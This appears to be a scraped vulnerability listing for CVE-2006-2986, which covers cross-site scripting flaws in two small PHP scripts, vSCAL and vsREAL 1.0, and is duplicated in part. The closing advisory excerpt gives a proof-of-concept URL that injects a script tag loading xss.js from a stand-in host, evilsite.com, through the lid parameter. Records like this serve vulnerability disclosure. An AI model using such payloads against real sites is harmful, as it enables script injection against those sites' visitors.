CVE-2006-2986

Multiple cross-site scripting XSS vulnerabilities in Baby Katie Media a very Simple Car Lister vSCAL 1.0 and b very simple Realty Lister vsREAL 1.0 allow remote attackers to inject arbitrary web script or HTML via the 1 lid parameter in index.php and the 2 title parameter in myslideshow.php...

CVE-2006-2986

Multiple cross-site scripting XSS vulnerabilities in Baby Katie Media a very Simple Car Lister vSCAL 1.0 and b very simple Realty Lister vsREAL 1.0 allow remote attackers to inject arbitrary web script or HTML via the 1 lid parameter in index.php and the 2 title parameter in myslideshow.php...

Babykatmedia.com scripts - vSCAL & vREAL - XSS Vulns

vSCAL and vREAL v1.0 Homepage: http://www.babykatiemedia.com/ Effected files: index.php myslideshow.php XSS Vulnerability via lid variable: http://www.example.com/vscal/index.php?page=showlisting&lid=SCRIPT20SRC=evilsite.com//xss.js/SCRIPT XSS Vulnerability via myslideshow.php...